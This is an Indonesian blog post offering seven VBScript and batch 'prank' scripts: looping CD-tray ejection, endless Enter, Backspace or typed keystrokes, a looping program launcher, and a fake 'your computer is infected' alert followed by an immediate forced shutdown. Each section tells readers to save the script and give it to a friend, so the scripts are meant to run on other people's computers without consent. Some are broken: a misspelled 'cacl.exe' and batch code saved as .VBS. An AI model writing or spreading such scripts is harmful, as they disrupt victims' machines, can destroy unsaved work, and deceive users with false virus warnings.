ISENG BERMODAL NOTEPAD

Jangan anda coba trik ini di komputer anda, klo dicoba berarti anda mengisengin diri anda sendiri & dapat dibilang anda melakukan tindakan yang stup*d.. Hehe.. Wkwk.. Lets begin! Pastikan Anda Mengetik Dengan Benar Script Dibawah Ini! Copy Paste Kadang Tidak Berhasil Dikarenakan Perbedaan Tanda Petik ( ” ” ) Pada Notepad, Untuk Lebih Fix Bisa Pake TextPad.

1. Iseng Mengeject CD-Drive Terus Menerus

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 5000
 loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

2. Iseng Dengan Tombol Enter Terus Menerus


Set wshShell = wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “~(enter)”
 loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”


WScript.Sleep 180000
 WScript.Sleep 10000
 Set WshShell = WScript.CreateObject(“WScript.Shell”)
 WshShell.Run “notepad”
 WScript.Sleep 100
 WshShell.AppActivate “Notepad”
 WScript.Sleep 500
 WshShell.SendKeys “Hel”
 WScript.Sleep 500
 WshShell.SendKeys “lo ”
 WScript.Sleep 500
 WshShell.SendKeys “, ho”
 WScript.Sleep 500
 WshShell.SendKeys “w a”
 WScript.Sleep 500
 WshShell.SendKeys “re ”
 WScript.Sleep 500
 WshShell.SendKeys “you”
 WScript.Sleep 500
 WshShell.SendKeys “? ”
 WScript.Sleep 500
 WshShell.SendKeys “I a”
 WScript.Sleep 500
 WshShell.SendKeys “m g”
 WScript.Sleep 500
 WshShell.SendKeys “ood”
 WScript.Sleep 500
 WshShell.SendKeys ” th”
 WScript.Sleep 500
 WshShell.SendKeys “ank”
 WScript.Sleep 500
 WshShell.SendKeys “s! “

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

4. Iseng Dengan Backspace


MsgBox “Maaf, Anda Harus Mengulang Kembali”
 Set wshShell =wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “{bs}”
 loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

5. Iseng Dengan Membuka Calculator Terus Menerus


@ECHO off
 :top
 START %SystemRoot%\system32\cacl.exe
 GOTO top

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

6. Iseng Dengan Keyboard


Set wshShell = wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
 loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

7. Iseng Dengan Shutdown Computer


@echo off
 msg * Komputer Anda Terinfeksi Virus
 shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

Silahkan Dikembangkan Sendiri Ide Ide Yang Lainnya,.. Semoga Bermanfaat..


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s